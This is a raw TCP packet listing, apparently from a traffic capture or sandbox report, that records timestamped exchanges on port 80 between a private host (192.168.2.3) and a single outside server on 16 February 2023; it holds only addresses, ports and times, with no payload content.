Feb 16, 2023 13:57:18.690155029 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.690181017 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.690203905 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.690247059 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.690289974 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.690303087 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.690346956 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.690356016 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.690378904 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.690408945 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.690438986 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.690459013 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.690499067 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.848654985 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.848690033 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.848710060 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.848727942 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.848763943 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.848782063 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.848804951 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.848824978 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.848845959 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.848854065 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.848867893 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.848889112 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.848908901 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.848917961 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.848931074 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.848947048 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.848953009 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.848968983 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.848974943 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.848994970 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.849001884 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.849014997 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.849031925 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.849035978 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.849060059 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.849078894 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.849085093 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.849101067 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.849121094 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.849134922 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.849142075 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.849163055 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.849169970 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.849183083 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.849203110 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.849217892 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.849222898 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.849242926 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.849256992 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.849263906 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.849283934 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.849303961 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.849313974 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.849323988 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.849340916 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.849344969 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.849365950 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.849385977 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.849396944 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.849406004 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.849417925 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.849433899 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.849461079 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.849462986 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.849488974 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.849518061 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.849545956 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.849549055 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.849571943 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.849579096 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.849601984 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.849631071 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.849658012 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.849663973 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.849688053 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.849697113 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.849718094 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.849733114 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.849742889 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.849770069 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.849793911 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.849808931 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.849822998 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.849852085 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.849862099 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.849878073 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.849890947 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.849906921 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.849935055 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.849961042 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.849989891 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.849997997 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.850023031 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.850038052 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.850053072 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.850069046 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.850079060 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.850106001 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.850138903 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.850167036 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.850173950 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.850200891 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.850210905 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.850233078 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.850255966 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.850260973 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.850291014 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.850302935 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.850318909 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.850346088 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.850372076 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.850393057 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.850406885 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.850414038 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.850425959 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.850435972 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.850455999 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.850475073 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.850485086 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.850496054 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.850514889 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.850521088 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.850543022 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.850552082 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.850564957 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.850588083 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.850601912 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.850610018 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.850630999 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.850657940 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.850666046 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.850704908 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.850704908 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.850729942 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.850752115 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.850756884 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.850775003 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.850795031 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.850800991 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.850816011 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.850852966 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.850924015 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.850953102 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.850971937 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.850980997 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.851002932 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.851022005 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.851027966 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.851087093 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.851131916 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.851200104 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.851226091 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.851247072 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.851248026 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.851294994 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.851295948 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.851326942 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.851357937 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.851386070 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.851396084 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.851418018 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.851432085 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.851447105 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.851475000 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.851502895 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.851521969 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.851528883 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.851550102 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.851556063 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.851571083 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.851591110 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.851602077 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.851613045 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.851632118 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.851654053 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.851656914 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.851681948 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.851685047 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.851701975 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.851722002 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.871046066 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.011465073 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.011504889 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.011533022 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.011548996 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.011563063 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.011588097 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.011607885 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.011619091 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.011634111 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.011662006 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.011668921 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.011689901 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.011720896 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.012192965 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.012233019 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.012260914 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.012273073 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.012290955 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.012319088 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.012320995 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.012348890 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.012373924 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.012399912 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.012404919 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.012418985 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.012444973 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.012464046 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.012464046 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.012470961 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.012499094 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.012526989 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.012527943 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.012553930 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.012581110 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.012607098 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.012609959 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.012631893 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.012635946 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.012660027 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.012686968 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.012690067 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.012708902 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.012727976 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.012748003 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.012769938 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.012772083 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.012803078 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.012804985 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.012836933 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.012836933 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.012888908 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.012981892 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.013005018 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.013035059 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.013051987 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.013112068 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.013160944 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.013169050 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.013200045 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.013220072 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.013236046 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.013240099 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.013261080 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.013281107 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.013295889 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.013300896 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.013320923 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.013328075 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.013340950 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.013360977 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.013371944 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.013382912 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.013401985 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.013410091 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.013422966 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.013446093 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.013456106 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.013468981 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.013487101 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.013492107 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.013524055 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.013570070 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.031826019 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.031876087 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.031898022 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.031919956 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.031940937 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.031960964 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.031981945 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.031991005 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.032001972 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.032022953 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.032022953 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.032044888 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.032057047 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.032067060 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.032074928 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.032088041 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.032120943 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.032124996 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.032154083 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.032181025 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.032207012 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.032211065 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.032239914 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.032243013 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.032274008 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.032282114 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.032305002 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.032339096 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.032375097 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.032385111 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.032409906 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.032419920 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.032445908 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.032475948 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.032501936 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.032526970 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.032529116 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.032552004 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.032557011 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.032586098 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.032612085 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.032630920 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.032638073 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.032661915 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.032665968 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.032692909 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.032718897 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.032733917 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.032744884 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.032761097 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.032772064 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.032798052 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.032823086 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.032843113 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.032849073 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.032874107 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.032876968 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.032903910 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.032928944 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.032953024 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.032955885 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.032984018 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.033011913 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.033039093 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.033045053 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.033045053 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.033066034 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.033092976 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.033113003 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.033119917 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.033143997 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.033154011 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.033190012 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.033219099 CET	80	49687	23.106.124.133	192.168.2.3
